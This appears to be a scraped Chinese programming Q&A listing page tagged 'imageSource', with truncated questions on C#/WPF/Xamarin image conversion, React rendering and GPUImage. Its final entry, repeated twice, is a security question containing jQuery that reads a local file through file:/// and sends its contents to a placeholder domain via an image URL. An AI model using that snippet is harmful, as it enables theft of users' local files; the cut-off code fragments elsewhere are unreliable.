jjzjj

imageSource

全部标签

c# - Windows 8 C# : Windows. Ui.Xaml.Media.ImageSource 更改图像

警告WindowsAPI中有两个不同的ImageSourceSystem.Windows.Media.ImageSource=Windows窗体之一Windows.Ui.Xaml.Media.ImageSource=Windows应用商店应用之一我是C#和Windows8MetroStyle应用编程方面的初学者。但是如果您想编辑Image的图像,BitmapImage的“旧”方法将不起作用:XAML:C#代码隐藏:Image1.Source=newBitmapImage...不会工作。编译器会说类似的话"System.Windows.Media.Imaging.BitmapImage"

c# - 将 System.Windows.Media.ImageSource 转换为 System.Drawing.Bitmap

如何在C#中将System.Windows.Media.ImageSource转换为System.Drawing.Bitmap? 最佳答案 它是较旧的OP,但对于其他一些人来说仍然可以派上用场,因为在没有dll互操作或剪贴板hack的情况下找到更干净的解决方案需要一些时间。这对我有用,您可以在保存到文件或rtf流之前使用pngencoder来削减图像大小privateSystem.Drawing.ImageImageWpfToGDI(System.Windows.Media.ImageSourceimage){MemoryStrea

c# - 如何将 ImageSource 设置为 Xamarin.Forms.Button?

我正在尝试使用按钮中的图像属性添加背景图像。我面临的问题是我无法将StreamImageSource设置为按钮背景。如果我尝试这样做,我遇到了下面给出的错误。我用来设置图片的代码:ImageSourceiconsource=ImageSource.FromStream(()=>newMemoryStream(ImgASBytes));ButtonIcon=newButton();Icon.Image=iconsource;我遇到的错误:错误CS0266:无法将类型“Xamarin.Forms.ImageSource”隐式转换为“Xamarin.Forms.FileImageSource

c# - 从位图中获取 ImageSource?

我想为我的表单/窗口设置背景图像likethisguy但不是磁盘上的图像文件,而是内存中的System.Drawing.Bitmap。我需要做这样的事情:this.Background=newImageBrush(newBitmapImage(bmp));除了BitmapImage不会采用Bitmap,ImageBrush也不会,我不确定其他是否会。有一个叫做BitmapCacheBrush但我不知道它有什么作用。 最佳答案 没关系,我想通了。publicstaticBrushCreateBrushFromBitmap(Bitmap

c# - 如何将 Byte[] 转换为 BitmapImage

我需要帮助,我有这个方法可以从Byte[]获取BitmapImagepublicBitmapSourceByteToBitmapSource(byte[]image){BitmapImageimageSource=newBitmapImage();using(MemoryStreamstream=newMemoryStream(image)){stream.Seek(0,SeekOrigin.Begin);imageSource.BeginInit();imageSource.StreamSource=stream;imageSource.CacheOption=BitmapCache

javascript - api响应后渲染 react 组件

我有一个react组件,我希望使用Dropboxapi填充图像。api部分工作正常,但组件在数据通过之前呈现,因此数组为空。如何延迟组件的呈现,直到它具有所需的数据?varfileList=[];varimages=[];varimageSource=[];classFooextendsReact.Component{render(){dbx.filesListFolder({path:''}).then(function(response){fileList=response.entries;for(vari=0;i);}return({images});}}感谢您的帮助!

ios - iOS 中的 GPUImage 二值化

我正在尝试使用GPUImage技术进行图像二值化。我写了这几行代码,其中“图像”是灰度图像GPUImagePicture*imageSource=[[GPUImagePicturealloc]initWithImage:image];GPUImageAdaptiveThresholdFilter*stillImageFilter=[[GPUImageAdaptiveThresholdFilteralloc]init];stillImageFilter.blurRadiusInPixels=3.0;[imageSourceaddTarget:stillImageFilter];[imag

ios - Xamarin Forms : ImageSource. FromUri 不显示

我有一个项目列表,每个项目都有一个图像(从远程服务器下载),如下所示:varimage=newImage{WidthRequest=44,HeightRequest=44,};image.SetBinding(Image.SourceProperty,newBinding("ImageUrl"));几乎所有图像在iPhone5S和6+(模拟器/真实设备)中都能正常显示。但是,有一张图片在iPhone6+(模拟器/读取设备)上不显示。我尝试不设置Width和HeightRequest,但没有解决问题。这是特殊图像的信息:Size:9KB(12KBondisk)Dimension:608x

javascript - 通过运行 html 文件窃取用户数据

让我们谈谈安全性。在我看来,理论上,如果用户用它打开html文件(从他的文件系统打开,而不是从网络打开),我可以使用一些脚本从用户的文件系统获取信息。看代码:信息.txt:myinfoindex.html:$(document).ready(function(){$.get('file:///home/daz/desktop/info.txt',function(data){$('').attr('src','http://domain.com?data='+escape(data)).appendTo('body');},'text');});某些浏览器(例如firefox)允许您通

javascript - 通过运行 html 文件窃取用户数据

让我们谈谈安全性。在我看来,理论上,如果用户用它打开html文件(从他的文件系统打开,而不是从网络打开),我可以使用一些脚本从用户的文件系统获取信息。看代码:信息.txt:myinfoindex.html:$(document).ready(function(){$.get('file:///home/daz/desktop/info.txt',function(data){$('').attr('src','http://domain.com?data='+escape(data)).appendTo('body');},'text');});某些浏览器(例如firefox)允许您通